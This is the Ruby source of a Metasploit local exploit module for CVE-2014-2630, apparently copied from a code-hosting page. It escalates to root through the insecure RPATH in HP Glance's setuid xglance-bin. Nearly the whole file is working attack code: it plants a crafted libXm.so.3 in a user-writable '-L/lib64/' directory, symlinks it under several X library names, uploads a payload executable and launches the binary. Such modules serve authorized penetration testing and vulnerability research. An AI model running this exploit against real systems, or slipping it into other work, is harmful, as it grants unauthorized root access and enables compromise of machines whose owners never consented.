169 lines
5.7 KiB
Ruby
169 lines
5.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Post::Linux::System
|
|
include Msf::Post::Linux::Compile
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'HP Performance Monitoring xglance Priv Esc',
|
|
'Description' => %q{
|
|
This exploit takes advantage of xglance-bin, part of
|
|
HP's Glance (or Performance Monitoring) version 11 'and subsequent'
|
|
, which was compiled with an insecure RPATH option. The RPATH includes
|
|
a relative path to -L/lib64/ which can be controlled by a user.
|
|
Creating libraries in this location will result in an
|
|
escalation of privileges to root.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'Tim Brown', # original finding
|
|
'Robert Jaroszuk', # exploit
|
|
'Marco Ortisi', # exploit
|
|
],
|
|
'Platform' => [ 'linux' ],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' => [
|
|
[ 'Automatic', {} ],
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
|
|
],
|
|
'Privileged' => true,
|
|
'References' => [
|
|
[ 'EDB', '48000' ],
|
|
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/55' ], # permissions, original finding
|
|
[ 'URL', 'https://www.redtimmy.com/linux-hacking/perf-exploiter/' ], # exploit
|
|
[ 'URL', 'https://github.com/redtimmy/perf-exploiter' ],
|
|
[ 'PACKETSTORM', '156206' ],
|
|
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2630/' ],
|
|
[ 'CVE', '2014-2630' ]
|
|
],
|
|
'DisclosureDate' => '2014-11-19',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
register_options [
|
|
OptString.new('GLANCE_PATH', [ true, 'Path to xglance-bin', '/opt/perf/bin/xglance-bin' ])
|
|
]
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
|
]
|
|
end
|
|
|
|
# Simplify pulling the writable directory variable
|
|
def base_dir
|
|
datastore['WritableDir'].to_s
|
|
end
|
|
|
|
def exploit_folder
|
|
"#{base_dir}/-L/lib64/"
|
|
end
|
|
|
|
def glance_path
|
|
datastore['GLANCE_PATH'].to_s
|
|
end
|
|
|
|
# Pull the exploit binary or file (.c typically) from our system
|
|
def exploit_data(file)
|
|
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-2630', file)
|
|
end
|
|
|
|
def find_libs
|
|
libs = cmd_exec "ldd #{glance_path} | grep libX"
|
|
%r{(?<lib>libX.+\.so\.\d) => -L/lib64} =~ libs
|
|
return nil if lib.nil?
|
|
|
|
lib
|
|
end
|
|
|
|
def check
|
|
return CheckCode::Safe("#{glance_path} file not found") unless file? glance_path
|
|
return CheckCode::Safe("#{glance_path} is not setuid") unless setuid? glance_path
|
|
|
|
lib = find_libs
|
|
if lib.nil?
|
|
vprint_error 'Patched xglance-bin, not linked to -L/lib64/'
|
|
return CheckCode::Safe
|
|
end
|
|
vprint_good "xglance-bin found, and linked to vulnerable relative path -L/lib64/ through #{lib}"
|
|
CheckCode::Appears
|
|
end
|
|
|
|
def exploit
|
|
if !datastore['ForceExploit'] && is_root?
|
|
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
|
|
end
|
|
|
|
unless writable? base_dir
|
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
|
end
|
|
|
|
# delete exploit folder in case a previous attempt failed
|
|
vprint_status("Deleting exploit folder: #{base_dir}/-L")
|
|
rm_cmd = "rm -rf \"#{base_dir}/-L\""
|
|
cmd_exec(rm_cmd)
|
|
# make folder
|
|
vprint_status("Creating exploit folder: #{exploit_folder}")
|
|
cmd_exec "mkdir -p #{exploit_folder}"
|
|
register_dir_for_cleanup "#{base_dir}/-L"
|
|
|
|
# drop our .so on the system that calls our payload
|
|
# we need gcc to compile instead of metasm since metasm
|
|
# removes unused variables, which we need to keep xglance-bin
|
|
# from breaking and not launching our exploit
|
|
so_file = "#{exploit_folder}libXm.so.3"
|
|
if live_compile?
|
|
vprint_status 'Live compiling exploit on system...'
|
|
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
|
code = exploit_data('CVE-2014-2630.c')
|
|
code.sub!(payload_path.to_s, payload_path) # inject our payload path
|
|
upload_and_compile so_file, code, '-fPIC -shared -static-libgcc'
|
|
rm_f "#{so_file}.c"
|
|
else
|
|
payload_path = '/tmp/.u4aLoiq'
|
|
vprint_status 'Dropping pre-compiled exploit on system...'
|
|
upload_and_chmodx so_file, exploit_data('libXm.so.3')
|
|
end
|
|
|
|
# Upload payload executable
|
|
vprint_status 'uploading payload'
|
|
upload_and_chmodx payload_path, generate_payload_exe
|
|
|
|
# link so files to exploit vuln
|
|
lib = find_libs
|
|
# just to be safe, Xt and Xp were in the original exploit
|
|
# our mock binary is also exploitsable through libXmu.so.6
|
|
# unsure about the real binary
|
|
cd exploit_folder
|
|
['libXp.so.6', 'libXt.so.6', 'libXmu.so.6', lib].each do |l|
|
|
cmd_exec "ln -s libXm.so.3 #{l}"
|
|
end
|
|
|
|
# Launch exploit
|
|
print_status 'Launching xglance-bin...'
|
|
cd base_dir
|
|
output = cmd_exec glance_path
|
|
output.each_line { |line| vprint_status line.chomp }
|
|
print_warning("Manual cleanup of #{exploit_folder} may be required")
|
|
end
|
|
end
|